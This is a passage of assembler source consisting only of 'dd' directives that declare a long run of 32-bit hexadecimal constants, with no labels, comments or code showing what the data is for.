dd 78357921h, 0B5269D2Bh, 0C4E0E62Dh, 0E411D220h, 0CA724B78h
dd 0BE642203h, 5A012B10h, 0D536418h, 2FFCA84Fh, 4B77B64Bh
dd 86F228Dh, 0FF0B15FBh, 1598D6E1h, 304BE25Dh, 8777D914h
dd 0D6F07F04h, 31BFCD08h, 3B45C5C8h, 4D81650Ch, 8A614B59h
dd 3F713F0h, 0AE894FDh, 78127973h, 6F2F8F5h, 414FE48Dh
dd 7B19EDC5h, 6986B62Ch
dd 2BDC829Bh, 30D89DDEh, 13778497h, 0C837600Bh, 8D89CC81h
dd 0B80421C9h, 0BF04733Eh, 0E180A359h, 1CD36FEFh, 5C440260h
dd 28BD0FA9h, 2D7C4D27h, 0D8060FF6h, 1A61CDADh, 28662B4Ch
dd 0BB8044ADh, 0CB30D609h, 59257B3Bh, 15181Ch, 43875BD6h
dd 0F2905139h, 600A9A97h, 822FE9D1h, 64F14AD7h, 5390B7B3h
dd 85008FB8h, 283B3DBAh, 59F024h, 0A76EB950h, 615A310Bh
dd 9FCC2EF1h, 2E37B790h, 6E939D00h, 28685611h, 28DFF010h
dd 4E8FD444h, 3A9EB515h, 80F042E6h, 897BB723h, 0B891360Bh
dd 0E1878282h, 5968002Ah, 2EEFCB9Dh, 6B5EE71Fh, 5A007650h
dd 24348158h, 0D42F9EA6h, 0C4DACD2Ah, 518AFE95h, 0D92313Dh
dd 4805B71Ch, 0C6DE2559h, 0B9C69FEBh, 44558982h, 167209Ch
dd 8909B1B0h, 713A2F26h, 96F4A7DAh, 11A404C9h, 7FC3B112h
dd 9427A07Bh, 516BD440h, 56E41A97h, 14FEEBC5h, 0F02F06D4h
dd 0B2E4DAA6h, 0BB37E8BDh, 330905E5h, 0E6068971h, 8751E018h
dd 2E7024A9h, 59B552B0h, 0ECA8E180h, 90267497h, 77E697A0h
dd 72EE8407h, 0EC33C644h, 8765B801h, 359100FDh, 4517BB66h
dd 0F84B8B61h, 0CCB3E085h, 0EBB41200h, 29B19D05h, 674F3900h
dd 79A75DF3h, 40476206h, 0C5F2D02Eh, 59D78102h, 5C33059Bh
dd 1C506BB1h, 9681F40h, 24C98BF6h, 3B1F40Fh, 20B96660h
dd 0D0F2A721h, 9754861h, 98D67488h, 4E4AB7FEh, 826B8F56h
dd 22191D93h, 56F45790h, 0F1DAD541h, 13DEC4h, 0CBD88493h
dd 0BB505F8Ch, 5E49D0EBh, 9D019004h, 7E8B1FCDh, 6102BF3Ch
dd 8D29CBB7h, 184A6A43h, 0E6595CCFh, 0B800AAACh, 9ED2C775h
dd 181A697h, 0EF20D7EBh, 0A78B566Fh, 5F650498h, 22A2A1ACh
dd 46E014D6h, 103B85h, 1C6DB04Dh, 39BDCEBAh, 96FC7B00h
dd 2EE9B2D4h, 4E5F74F8h, 0D2C7B81Eh, 4BBA6AB3h, 0AA2FC16Ah
dd 2C016A37h, 0F3DADFCEh, 0C9E055E2h, 5F4BB5E5h, 9034798Ah
dd 0E29CAA5Bh, 0D410B5DFh, 7C01EF16h, 0B447C55Bh, 90C8FF8Eh
dd 0BDECA569h, 86D456Ah, 8028090Dh, 9630392Fh, 603CAD82h
dd 0A87175EAh, 5D79DC09h, 0E782D425h, 0E02D9835h, 975BD8F3h
dd 83F2C11Bh, 398517A1h, 0A219BB29h, 0EC504E08h, 595BC983h
dd 8CACBEFBh, 201C204h, 0DE50BE5Ch, 0F511650h, 5786D18Ah
dd 4B962A5Bh, 0ED614D78h, 0DE2E8845h, 175DC00Eh, 4B15614Eh
dd 3F7C8DA1h, 0D0805DF3h, 492BD531h, 0A49A1705h, 20B8F615h
dd 0E95B1825h, 83181879h, 0DED69E0Bh, 95C7C6Ah, 9271EBF8h
dd 49B290A7h, 0AEBF0096h, 0E2844D1Ch, 3D12AC67h, 9FE3938Dh
dd 96DA4650h, 5FBAFADh, 972E6BD0h, 0BD299600h, 64951FB5h
dd 952492EBh, 0B8B4D14Eh, 0BDDA65D4h, 0B00DB7B8h, 0CECB5DAFh
dd 4041DBF8h, 0A0564B12h, 354AD54Ch, 0A0B9F384h, 18C1BACh
dd 3629E42Dh, 6F7D74C4h, 6A9A981h, 9BD2F86Dh, 0D9EA80F5h
dd 4A96F608h, 0CE9BED60h, 61C243CBh, 8DE2FF50h, 0B0602005h
dd 2BFBF82Dh, 4FE93FDCh, 82F29E28h, 615497CCh, 9065790Fh
dd 5D6C282Bh, 60A6CF95h, 5DE860E9h, 70FA1E04h, 0FC12269h
dd 500217C9h, 0D14737E0h, 37BD019Ah, 0ED2E1FB6h, 16BFA460h
dd 89EC8A7Fh, 127D9512h, 0C5600928h, 0F4231180h, 8625DC74h
dd 0ACCB5B61h, 5E04D6FEh, 0CBD6C508h, 1D88E6DBh, 471055C0h
dd 0E3780119h, 59BB3D3Ah, 0A5473123h, 4F6B66B9h, 0C4B0AD52h
dd 5B092F05h, 15445271h, 0CF815640h, 691209A2h, 17E35F05h
dd 0F052C625h, 9695B171h, 90794EAh, 5C817DFCh, 0C6FFF488h
dd 9A70D373h, 0F96F2713h, 7509CBF0h, 56C18B37h, 0A07E6975h
dd 0D445B860h, 10C9057Bh, 0C0353A2Bh, 1853145h, 8BF70561h
dd 0F827D8Dh, 0A7C78061h, 91F1B5D5h, 71A7801Dh, 709DD4Ah
dd 7039F0C8h, 0EB60C51Eh, 0B6F23E20h, 546052Eh, 0BF3F27CAh
dd 0B55F20CCh, 7A80306Ah, 5BEF97BFh, 0FDF58ACEh, 2DE49EB9h
dd 0DE727425h, 712CBC00h, 0A9A173C1h, 0F2D560B7h, 7E48320h
dd 0C9E1CDADh, 0A768E991h, 985B0825h, 404B6D27h, 0D1910119h
dd 3D7FEA00h, 0A0E28160h, 90E2F93h, 6278E964h, 128FAF00h
dd 89E71EC0h, 428604ECh, 0A810B81Fh, 9FD98772h, 0C030C3C7h
dd 0D37C6AE5h, 22520078h, 615B24A6h, 0B70BF55Eh, 45D17E07h
dd 9BC424D8h, 74FAC299h, 4AE1819Bh, 6F3A6AAEh, 0E3007FF8h
dd 557D15D5h, 0B50CC57Eh, 29844B71h, 13B19D85h, 48BF1330h
dd 67C034D7h, 18CA6C37h, 0C709702h, 57D9B503h, 6A615068h
dd 0DEE3B6h, 70C19CE9h, 9ECC3576h, 0DFBF6902h, 0D77A17FBh
dd 2F1F333Ah, 0D41B1480h, 42A2DE1h, 8BB67F1Dh, 0D226B9F8h
dd 4EA8ECF9h, 8F0FD114h, 0AF07969Fh, 2C831DD3h, 9D30F5FFh
dd 57592CDh, 3630529h, 3C2CAE9Ch, 0E33D9D57h, 2ECE9A9Eh
dd 0A2E3EB64h, 0E0026AD1h, 822B75ADh, 0D912AD54h, 0EEDB4357h
dd 1CB78C82h, 91C23E5Ch, 2A201C0Dh, 9D231283h, 0A029B101h
dd 0FC4A13E8h, 0F927F7B6h, 6C60AFDEh, 19A5BA5Dh, 0BA5250F4h
dd 3D5C69D8h, 3A275E5Fh, 0B3F9EB80h, 9D1E0036h, 0F52A359Ch
dd 0CC0B5382h, 8A967DDCh, 0CD019DD7h, 905F5B7Fh, 2DB80429h
dd 4C155F26h, 2513B108h, 2BD3C6Ch, 5C462B54h, 31A2C91Ah
dd 4DD7B194h, 0E7666AD4h, 0FB84D091h, 0FE1447CFh, 98E1995h
dd 0EDFF6ADEh, 0E73FC0F8h, 0A40B5910h, 820C53C2h, 571BF523h
dd 304024CFh, 0B341D71h, 0AC9C53Dh, 57131484h, 0E70044A2h
dd 6E57458Dh, 0A594A12Dh, 5B251A10h, 27451DCCh, 292380D6h
dd 108D68h, 0C19596EFh, 0F5B6EB2Fh, 19524607h, 0FE042C1Dh
dd 0BAEDC880h, 0E03B4A58h, 7025E62Bh, 47C0DE03h, 2DA5AE4h
dd 65776837h, 0EE941E5Ch, 0C5EFC3DDh, 9DA0255Eh, 0B597889h
dd 16D9A44Fh, 0ABEF8125h, 4122E8Fh, 12BFF688h, 13256367h
dd 2A9C299h, 959E0D5Ch, 0B0931CD0h, 53C121F8h, 0B53360D1h
dd 0A46C08E1h, 8D280293h, 0B3FD10EDh, 11B5D9E7h, 0A5854741h
dd 0A2C4A454h, 0F23877EBh, 0F42F242Dh, 6E0E40CFh, 2A1D3706h
dd 542857ADh, 3B5FCE01h, 661218BBh, 1223E44Eh, 98405789h
dd 127579DBh, 884BE95Fh, 0A5E14D0Eh, 4CC65E93h, 254ADD58h
dd 84C477B8h, 0D1865730h, 0E4D4D2F3h, 0A55083C8h, 0EC90FE21h
dd 0A19B4B28h, 7A747582h, 8211B762h, 0D7263194h, 0ED1E6314h
dd 0CDEFE40Ch, 0DCFEC061h, 85513077h, 5CF17EF9h, 24D6F7Bh
dd 9E50A51Eh, 2DABF405h, 74A5850h, 864E4EE7h, 8B95191Fh
dd 0F4A77E74h, 2CD3430Bh, 9526DFDEh, 954D5E53h, 0C25F256Eh
dd 0E0544D7Eh, 976CD27Dh, 1971F402h, 0CDFC5572h, 0AB84E53Ah
dd 15239F6Ah, 2DB5409h, 2AB927h, 5AE452BBh, 0D2BA3326h
dd 59B98B64h, 0B80CF9A4h, 3F7200CBh, 0BDCDB45Ch, 3364EEF6h
dd 98AF3186h, 6B3CC5D5h, 6F168086h, 0EBB7A50Fh, 0C7D7505Eh
dd 2E294145h, 46B430CDh, 0A5A0AC18h, 1200026Bh, 2C033342h
dd 8662EAEEh, 5C22E974h, 38B4EA9Fh, 45518427h, 0ED45BADh
dd 0E8D0A9BDh, 8DE32B80h, 0BB9F78ACh, 0CA51F301h, 0FC85C14Bh
dd 2ED11031h, 22EF8E6Bh, 95313E67h, 0B05F16CEh, 1644D973h
dd 61CA24B7h, 35526C35h, 0DD2A1441h, 0E76A7EA7h, 0E1FFF109h
dd 5DC05D6h, 5F0C470Dh, 0BF0C807Ah, 0FC256AC2h, 0B9CC55Eh
dd 0BC5C0433h, 53F64171h, 0D187D02Eh, 5D2DEDE0h, 957FD0F1h
dd 0DA459994h, 415DF760h, 0DF073025h, 604B337Eh, 4A007B6Eh
dd 8531E1D8h, 0F1950571h
dd 6ED42F67h, 0D4DB54EBh, 0EB0BDB02h, 5C511E22h, 0F37625A5h
dd 0E7F99FDCh, 0A29E10AFh, 73D7F52h, 5008639Ch, 0A0F2703Bh
dd 1105C202h, 9D17B2E2h, 8EC08FEh, 0C4E45F12h, 54C38A11h
dd 0E60B30CAh, 0A5A2B9EBh, 35AF875Bh, 902A0968h, 60502140h
dd 61015372h, 0C87FB85Ah, 90DD5863h, 3E89642Ch, 30D6D700h
dd 776571AAh, 82EFFE3Ah, 9D9B99Bh, 6089F927h, 427CA32Dh
dd 7688504Eh, 523707EDh, 36C4A2A0h, 0A798A38Bh, 411D6B4Ch
dd 80BE2CEDh, 7B2651B7h, 0C98D0043h, 0B42146C2h, 5009F5F0h
dd 125B638Eh, 65DD5627h, 0E06CF658h, 92CEBFDh, 64CA30B6h
dd 0ED9F6AD8h, 631AC42Fh, 28B1C0DBh, 85CC25CAh, 81007273h
dd 0E97446EBh, 0ED014B8Fh, 4C83815Ah, 0C0FC2922h, 0B8FE2520h
dd 0FC4A88C6h, 0BD1240E6h, 0AC0D8469h, 0CF81C062h, 4B71FFFBh
dd 29689D58h, 359DA888h, 0A5C2EB30h, 0FD16A10h, 3031A69h
dd 223125B1h, 0D8BFC562h, 1CEC7BABh, 5E4BD756h, 6920FC6Bh
dd 258A72E3h, 3109ECD8h, 56169D8Dh, 0A160E4D3h, 0C28889A2h
dd 96581661h, 374B4045h, 2D536C70h, 47950FC6h, 1C2380C4h
dd 16B1790h, 0CDBF505Fh, 2213164Fh, 5E484B65h, 5AC625DFh
dd 0CEA4C695h, 0FC168B04h, 0BADE87F2h, 2FD27EC0h, 0D3740032h
dd 0B560768Fh, 74916136h, 800DE888h, 595365B2h, 69744915h
dd 0C1194DECh, 4769637h, 0D18F0F14h, 23585F81h, 2E05C5BDh
dd 0E7878374h, 44DA319Dh, 6DF8E044h, 2104B650h, 0B7BE8813h
dd 530C32EDh, 14004259h, 0B5E88862h, 0B25B4ED0h, 4BE65FC9h
dd 0E22BF8E0h, 0D7809409h, 55C13212h, 3C8428B7h, 20BE367Dh
dd 0AACCA143h, 85D19Dh, 0FD6642F7h, 0F912DDFAh, 0D4E2F22Dh
dd 51CBBFC0h, 949516FEh, 0E8E2B7BCh, 0DE82DEh, 4D2EDF82h
dd 2DDA59EEh, 74C51524h, 3820211Ch, 0B74F3DE9h, 5703A02Fh
dd 0B199098Ch, 0D871536Dh, 8EDB2DDDh, 255D4350h, 0B4C5DC8Ah
dd 0CFB5743Dh, 17454065h, 290993C6h, 0D0BFD99Bh, 0C947B52Ah
dd 5309A691h, 4E5C5FF8h, 2ACD9DC1h, 0D0A1DB6Ah, 59DFC477h
dd 5ED819B8h, 3897344Dh, 4D38189h, 69F782E7h, 0C820AE96h
dd 4A8A69Eh, 74C3153Bh, 0B94A862h, 46968018h, 653B07B9h
dd 30EFFC42h, 952D5A2Eh, 8C739601h, 0CEBE5755h, 95B55720h
dd 215B5E85h, 0D497BF79h, 77B06A26h, 0E8A49B09h, 0EB115C0Ch
dd 6B4094CDh, 2219E94h, 0D7A1999Ch, 86A90178h, 4AF67E5Eh
dd 928BE857h, 9EAC12C4h, 0E3E781C0h, 1B4B6BFFh, 2380928Ch
dd 0BF0134D3h, 71C75951h, 0A67A172Eh, 9B0DE0A2h, 0CA8B017Dh
dd 958903CDh, 20016B25h, 88DB529h, 81A2302Eh, 0EB4B90DBh
dd 0F379A49Dh, 0E7B22BA9h, 0EE827514h, 0B821E112h, 6EBAB422h
dd 0BCDE00D9h, 8BE53180h, 64B595FEh, 6801891h, 0BD957ACAh
dd 1B88605Eh, 0E4667D5Dh, 0AE5995B9h, 37FC42Fh, 0BB75D45Fh
dd 0B8D02251h, 713E615Ah, 79BC7410h, 0CF00AC68h, 8B5019A3h
dd 6D69B5DAh, 28DA2AD9h, 0E6C414C8h, 0D6D1AEB9h, 0DF02CCACh
dd 0B10E0C08h, 0BDCFE0F4h, 0B21C9718h, 0B16E4145h, 96066436h
dd 1540D2B6h, 12F20BD4h, 0A2C44A2Eh, 3F3B0097h, 8AF35E6Fh
dd 2E07030Eh, 0C9C01385h, 4D56DE2h, 1FD15F22h, 902550Bh
dd 3A88D420h, 5D5B0374h, 0F9D093DFh, 0AC9FBDB4h, 0CE028C19h
dd 0FC178BE8h, 917C6112h, 0B16AF7A5h, 4CBDD7h, 60FDE4F1h
dd 8809A2BCh, 7B5E5DA8h, 1B98988h, 0E33D55h, 8FD7DE8Dh
dd 3D5C6B4Ah, 0BC8012D3h, 4488A3E2h, 14ADE0B1h, 2CE68004h
dd 704BCD52h, 0D8D8A78Dh, 6A8F9F57h, 89171FC8h, 617A20FEh
dd 0ABB4C65Fh, 95E572F4h, 0FCAFBC67h, 9716D4ACh, 0EEB384AEh
dd 0DDBD884Fh, 6F599D00h, 9E6ACF88h, 46E609BFh, 0CE5682E9h
dd 0C111ED25h, 3067A6B7h, 5605EE95h, 810F92DFh, 0C1246EA2h
dd 9700DEC0h, 61F407C4h, 5814B83h, 0E38A87CBh, 0CDDABA25h
dd 16C02ED0h, 8DAE5E10h, 3681064Eh, 222A1C05h, 0AB2EFEEFh
dd 0F4E454FBh, 6D325B26h, 0C48D9589h, 187BC11h, 0E78064B5h
dd 47D08274h, 5D07E492h, 700278B7h, 5CED6672h, 0A99013F0h
dd 0D4DECB2Fh, 0BB443F1Ch, 0E15EB809h, 98E25020h, 9BD0CC0h
dd 0BF1027ACh, 0C72FFD79h, 0C9B0F63Ch, 5DC48C74h, 0A3931227h
dd 8CAA6004h, 0D04F8BB3h, 0F2423C20h, 31DE00DFh, 5DD2B47Bh
dd 1A042B30h, 75854021h, 6F1C13ABh, 8283007Dh, 143C161h
dd 0B3794A9Dh, 0F66FC93Ch, 0E8E2E0D6h, 7900CACFh, 0A2EB203h
dd 258496ACh, 4AD4026Ah, 0BA8B39DCh, 0E5E0B380h, 27A1C94Ah
dd 5750F813h, 255F68BDh, 0B48BFE66h, 290CD94Ah, 1E3D70AEh
dd 4E4900A7h, 0CFF130E3h, 1CF9B7DDh, 41C1BF80h, 4BE91D89h
dd 10278EF7h, 89049251h, 19268D9Dh, 0AA140D0Ch, 0A2D3E9Dh
dd 744C21A8h, 658D16D4h, 50FC1740h, 2AA0A8BFh, 0F08101CCh
dd 0B9CF16CDh, 0C70FAD7Dh, 5619098Dh, 1C46F419h, 1595700h
dd 3A39FAD1h, 0FC680B3Ch, 345DF2C4h, 0E3325B0Eh, 79D75028h
dd 0DDF62A45h, 0F900F237h, 19C58D67h, 0AEFF056Eh, 0C866555Ch
dd 6DC9DD6Fh, 71EE54F5h, 2085EC29h, 518B8184h, 70E6D150h
dd 0DCD70481h, 0AA7D3B1Bh, 0F58017C2h, 9A78FE5h, 557662EAh
dd 8495264Eh, 0C5AC05C0h, 430AE984h, 0F8218D0Bh, 12F06C85h
dd 0B366FBBDh, 0F99508D4h, 0CC60450Dh, 0B425B54Bh, 6CF25EA4h
dd 5874F0F6h, 2CA5B909h, 0CAA17561h, 3F912DBBh, 0A0D3DC80h
dd 0BAB3B8ACh, 0B2615A89h, 2C511008h, 39C32E98h, 0D104CC7Dh
dd 130D8529h, 0BF6C63ABh, 509981B0h, 0B120E5B0h, 8D091C08h
dd 0F8516D2Dh, 31859D84h, 108C4835h, 0F4CC4B25h, 0B49E946h
dd 5C71B727h, 798469B1h, 16075604h, 8AA45B61h, 9D8235A8h
dd 0D1562B6Dh, 34F22C4h, 0FD75C1EDh, 0FE2B42A5h, 82989285h
dd 63889547h, 12F20BFEh, 0C3532F09h, 0E4174104h, 0EBC89BDh
dd 0AE8B3100h, 0F894FD70h, 2BB8BD86h, 48211F1h, 0B0E239C9h
dd 3856F825h, 40354DE9h, 78DC19B3h, 7C03CC27h, 0B589406Bh
dd 0B9811AE5h, 275A82Ah, 283C82BBh, 2FAD561Fh, 0C614D9B7h
dd 276D03F6h, 101594D8h, 2F2EEDE2h, 70FB53FCh, 5162F7D0h
dd 531994Ah, 7FD8FB5Bh, 1581209Dh, 0D52D2B76h, 3D3F5331h
dd 0DEFDD2AEh, 0C0D24900h, 120AACDEh, 0CFC24A8Dh, 61B140C3h
dd 7CCA064Ah, 8AF03B43h, 0AC0322A1h, 5287B46Eh, 0CDE41390h
dd 0B40BB833h, 4300303Fh, 6B9560ECh, 72E275B6h, 1F81F391h
dd 0E53226E6h, 4A2D9030h, 0A27BAC2Eh, 5697D5FBh, 0D4C2F4ADh
dd 0A6D87900h, 0DC9593B2h, 55FCA054h, 176FB534h, 4A4DB240h
dd 0D36204A1h, 82FAB37Dh, 0FC2001C2h, 4A8DBD29h, 22D0CE08h
dd 2017908Ah, 0FC381DADh, 899E4FB8h, 3C70E7C0h, 0B64A9EE3h
dd 7CD35D04h, 9AD2E6ADh, 9D87857Ch, 84EA20BBh, 7E01DF52h
dd 0E5D8CE2Fh, 0E0FA78F2h, 137A60A6h, 849073h, 0A45130FCh
dd 0E15CFF18h, 2C78C08Eh, 116FB0Dh, 7441CB3Bh, 0E46E5D38h
dd 0BE2523F9h, 13F365E2h, 0E6D957D2h, 56E3E042h, 1989257Ah
dd 0C01113C5h, 0F065F825h, 4D1D7C1Ah, 0C1C8E793h, 2B8654FCh
dd 34751D81h, 319CC104h, 0BC0F1319h, 92CAFBh, 0B863CCA8h
dd 95603594h, 0DA00BA37h, 75AF147Ch, 0FCDE25A4h, 0D9ED1DC2h
dd 0B5419AC0h, 9C38498Fh, 8B950820h, 0DCAAD622h, 79658001h
dd 3C76F934h, 8A04482Eh, 90B7AFh, 747FEBE6h, 0B51009CEh
dd 72480E21h, 0A71B7512h
dd 0BD3104C8h, 0CBAA1689h, 6B64AD9h, 0D65245A0h, 91323A00h
dd 812F957Ch, 176BEECBh, 0FC505782h, 28205B7Eh, 5AD24Bh
dd 0FA8DDA39h, 65CAB3CDh, 0DCB03B3Eh, 0EC02161Ah, 755FF8F8h
dd 573829Bh, 0F84ABA20h, 0D46B5AC9h, 0C0DD9BB5h, 0F3BEC291h
dd 0F99A0B6Ah, 2CF0D6ECh, 4891A52h, 1911BD09h, 4BF3CEAAh
dd 0B18D1C20h, 0F73000B9h, 0EDC8FC75h, 2B042E55h, 786E8808h
dd 0E5DFDAE0h, 83B3898Fh, 14F2FC13h, 9EB3FABEh, 958F882h
dd 27CA578Dh, 35E94356h, 0E4758C63h, 0D3B8DA68h, 0DBAD852Fh
dd 6BC2D8AFh, 0CFD9F53Bh, 72B3BE8Ch, 0E95A0995h, 3DD701C9h
dd 0FB600E64h, 2E08F136h, 7DB1FD12h, 8B7B7Bh, 9401D2B0h
dd 258D31ECh, 1F73047Dh, 0A8181D79h, 3BC27C00h, 0E0BF48C7h
dd 0B4C55031h, 3A789F06h, 0CFB7A95Fh, 7CE0C8B1h, 8AC09DD7h
dd 98331175h, 48734CB8h, 4A60E85Fh, 0B04F57B6h, 0CA13BC83h
dd 8F9B0689h, 0E685482h, 42B41A6Ch, 0C04A2D10h, 70EB81E5h
dd 1F52EE16h, 0A8CD16AAh, 37ADCE5Bh, 299D9691h, 0E3605F24h
dd 961185ECh, 8D611324h, 8F04704h, 0B4B6DABEh, 0AB3019B2h
dd 9C270921h, 33805EA7h, 0EF48C668h, 0F60B60Ah, 0BE85588Dh
dd 20EB2CF5h, 6746F0C6h, 27C7B00Fh, 3E83E1D2h, 13EC9473h
dd 2B0B029Bh, 61CEB977h, 39C080D5h, 0BC492FBBh, 1E00DC39h
dd 673CD488h, 137DDD96h, 0A68DAE2Dh, 0D0EF0015h, 92BB50CFh
dd 2B312636h, 0B14A47Bh, 0F86B0869h, 1A651BC2h, 0A8A4BF00h
dd 0A0611359h, 9515B5C7h, 0EDAD47CDh, 433E47BBh, 25A854A7h
dd 95122931h, 8FB30639h, 0B8D54E89h, 76DF28h, 0DB34538Ah
dd 0B36630C2h, 0F9673501h, 50E9A777h, 0C0C39E3Bh, 0BD29E81Ch
dd 0A805E735h, 941222EEh, 0A5846F7Bh, 92B31205h, 0D8DA5ABAh
dd 0C9609080h, 1801F69Fh, 1519CF3h, 946A6DB5h, 0A29EAC35h
dd 0D13D5FF2h, 0A26DC682h, 0BE05450Fh, 0BF664BE0h, 0B3BEC4D8h
dd 0B1DA9E2h, 1C12365Ch, 31C991ADh, 0B8262584h, 94F3A078h
dd 62DC0B3Bh, 24925096h, 9B404576h, 17779808h, 974837Ch
dd 5AFB962Eh, 4ABBB270h, 0C862DA84h, 0DB3DC01Ch, 35053495h
dd 5D2D5232h, 4E11BBA0h, 0E831A930h, 0B15F0A29h, 0EE5347Bh
dd 9D82FBBFh, 0A9DA1705h, 0AC12F929h, 996A184Bh, 7D6103A6h
dd 3E81FA89h, 802725B0h, 2EFDB209h, 0A48F7143h, 1F89A7F4h
dd 40A58F59h, 9C578DA1h, 0A85CAFB4h, 0FE2209F4h, 906344Ah
dd 89954B79h, 0A164E6B1h, 8C2BC1F7h, 9D750131h, 90B7165Ah
dd 0CC4AB658h, 0BD14016Ah, 27512AA1h, 14927C8Bh, 9B59F1FBh
dd 0F7127AFCh, 4FACB3Fh, 0AB1229A3h, 0E27EF576h, 6E968131h
dd 7808B896h, 407CB6FAh, 0D9901ED3h, 70F91602h, 5CC18E5Eh
dd 1946D647h, 901D3501h, 7F5A6D0Eh, 258D6A02h, 11457E0h
dd 0D0583A93h, 0B4A90233h, 0A6017478h, 72D452E8h, 79506027h
dd 615F8904h, 75445D71h, 3DD7F257h, 40311FAAh, 7AAD5F40h
dd 369A43Eh, 0FC473DEEh, 0C21048A2h, 5B2F1951h, 82002764h
dd 0A5F1664Eh, 7023F479h, 4BE7008Bh, 0EB9E7E6Ch, 155F4457h
dd 5EFEE4C2h, 0BA76441Eh, 2DA8D98h, 8B1AAD7Fh, 9DF5ACEh
dd 787ADB15h, 2801350Ah, 6141BBAEh, 9A6B3B29h, 0C12AD02Bh
dd 0D8CD1107h, 3582816Eh, 63A73B30h, 251EF7A7h, 9E90FFB5h
dd 93C8D380h, 1818713Ah, 0CE8D0B66h, 0FC549A4Eh, 20BFDFE4h
dd 43054944h, 95583700h, 46351013h, 25149692h, 0B325C766h
dd 11A3C503h, 8B69765Eh, 0DB46D7h, 2344656Dh, 7F5403DBh
dd 42A36700h, 0BA2A78DAh, 0BF51024Ch, 137697F5h, 6D603257h
dd 0DC18E087h, 891333C9h, 615DB18Dh, 2FDD9DC4h, 568B21AEh
dd 9265E909h, 0BDE35B6Bh, 7366AD7h, 0FBA3FA0h, 96F91470h
dd 0E1365F2Fh, 0E98189BEh, 278955D5h, 4DCF097Dh, 0A25CC08Ch
dd 0EA1FBC68h, 28813D3Ch, 0FB89BFC6h, 122E34FDh, 1FDEAF8Dh
dd 0AC8D7285h, 0B35009D1h, 0F486420Dh, 6C0FDCC6h, 0FB873931h
dd 0D9563A40h, 0CA6EAACAh, 0DD3C8A01h, 6BE0845Bh, 202AFDE1h
dd 0E4A22059h, 0D995A2B7h, 2A6B7562h, 2699D7C0h, 0F88A5015h
dd 0B1EE867h, 0E14228F9h, 255F6AD0h, 0B556929Ch, 636D0362h
dd 4375CCE0h, 0F90F25A7h, 8081B757h, 43D4AD69h, 81B7E274h
dd 25D59D2Ch, 80B1B92Ah, 0ABA810BBh, 0DF1A971Fh, 1831A59h
dd 283105B5h, 12A6D13Bh, 0E242D3E7h, 0D99D8BABh, 26A89FFh
dd 0B8806F37h, 0AD82975Ah, 0A3861D7Fh, 0F3902D53h, 0D81FD54Ch
dd 0AD07B9D2h, 0CE4004E6h, 17D00F74h, 0C74D4E0Bh, 900B88BDh
dd 0DA8D8352h, 67828C5Fh, 254FF830h, 6F1200Dh, 5038D369h
dd 0B00672A2h, 0EF85B2F8h, 2A312F7Eh, 27C024D6h, 3C0222h
dd 85D46F95h, 2109C451h, 0CE820F2Ch, 5762E962h, 6EAA001Eh
dd 4072B3D3h, 2553CA08h, 5E54FC74h, 7B5397DCh, 1271118Ch
dd 0BA84127Fh, 3B19F313h, 96BE4C89h, 8F1291ACh, 10BE584Fh
dd 0A34B47BFh, 1029F998h, 0F4233D9Dh, 5CA860FDh, 89377A00h
dd 919B619Ch, 4BBB58ABh, 0F2947FC0h, 0A100B0B1h, 38E64948h
dd 12026C4Fh, 0F3F68296h, 9E032405h, 6A3E1B10h, 3CEF808Bh
dd 85DCE02h, 24CF7h, 0DFEA313Fh, 33202BC6h, 11FA7900h
dd 26A47D4Ah, 9795FE90h, 5684F633h, 5DCD1C8h, 0A5B69B70h
dd 0E94DAAB8h, 2B81F1h, 6EB7E7FBh, 820888h, 75B2C5C3h
dd 0EF249723h, 6B32FED5h, 0C64455F9h, 96135D23h, 304416FCh
dd 636C9E07h, 38961800h, 5BD92F9Fh, 4BFF7240h, 29DA8033h
dd 235A8D95h, 0FEDB8742h, 0ACD45C1Eh, 0D1602589h, 0E5FB16BFh
dd 0E98A30D1h, 85390154h, 0A2317D25h, 55131D6Ch, 887AB99h
dd 58D31F81h, 0AA1E52DBh, 291AC662h, 0E90D257Eh, 0C82F115Bh
dd 8C0026C1h, 0F75995BEh, 0BEFD354h, 75830B53h, 12D29B55h
dd 0E6289980h, 0A63422CBh, 0C18100E1h, 2019DF63h, 0A509D951h
dd 563F8D91h, 1F101088h, 2D28835Bh, 0D9A84195h, 3B7808C6h
dd 1B75BD09h, 1050A056h, 0A6E45E22h, 0A4DCF09Dh, 87290227h
dd 6A9EC231h, 2DEF654h, 0A30FDD48h, 0C67502AAh, 46BB09BFh
dd 4A5D0E8Eh, 0AD6F55ACh, 0AC80F244h, 95B9B72Fh, 0F8148F76h
dd 0BBDB4AC0h, 0AEF920C6h, 2BFD914Dh, 67584DFCh, 26EE04F0h
dd 0AFC02B0Ah, 28818CDBh, 7E974083h, 0A230A3E1h, 2B3040A9h
dd 0F88BD212h, 0B9B48EADh, 60A8DBh, 0A0F657DDh, 0B464C426h
dd 0FF4AFD90h, 9714E4E0h, 7DB3F214h, 13FD6A58h, 0D5A5B3D6h
dd 0E8ADB934h, 0BC2E4836h, 0D1020916h, 2E20E51Ah, 9D09DD70h
dd 0AC284A81h, 0B17DED37h, 4A00ACA8h, 0C6AAFF8Ah, 277E5D08h
dd 0A5648F0Fh, 7D488742h, 0D09FE522h, 0C204FF77h, 0C65C6A0Ah
dd 0E2154151h, 98230033h, 66BF1E88h, 460E6210h, 741FFDh
dd 25B9BBC0h, 0FC242515h, 38F8B2C6h, 69F4F817h, 802F4AF0h
dd 2909E1FFh, 0DB0DF1B5h, 1341A444h, 2C2CABA9h, 0F525C94Ch
dd 59475E71h, 0F483D6EBh, 0CD804800h, 0C065C51h, 8A274BCCh
dd 55F23481h, 7C919F82h, 6F60124Eh, 94FE024Dh, 0D4DE99A3h
dd 486225DBh, 338B777h, 0D80FEC60h, 4457A79Ah, 0DE410029h
dd 8C545263h, 0E72C2844h, 0F3007DA3h, 805F6A35h, 2098BFE1h
dd 0DF07051Dh, 0F5BE6C8Bh, 4B37DC20h, 0B2AB4A9Ch, 9A62006Bh
dd 0F8638C01h, 8271006Fh, 0A5FED7F7h, 59006A70h, 0BF24355Eh
dd 2145346Ch, 4915B56h, 51FBF827h, 0D61CA6h, 0B7D1B450h
dd 0BCAFA577h, 55DFD8C2h
dd 0E95E5C4Bh, 5F407AEDh, 243F7E6Fh, 97556C8h, 6E5D0641h
dd 950F766Bh, 0F3824F59h, 5E6ABB6Ch, 0D902DECBh, 9DD7ECE8h
dd 0AB1B7760h, 3F52825Ah, 61F19000h, 24B0A968h, 294BB845h
dd 0FA56139Bh, 3FC77E17h, 47D95371h, 0ABF00666h, 5E0BDBB0h
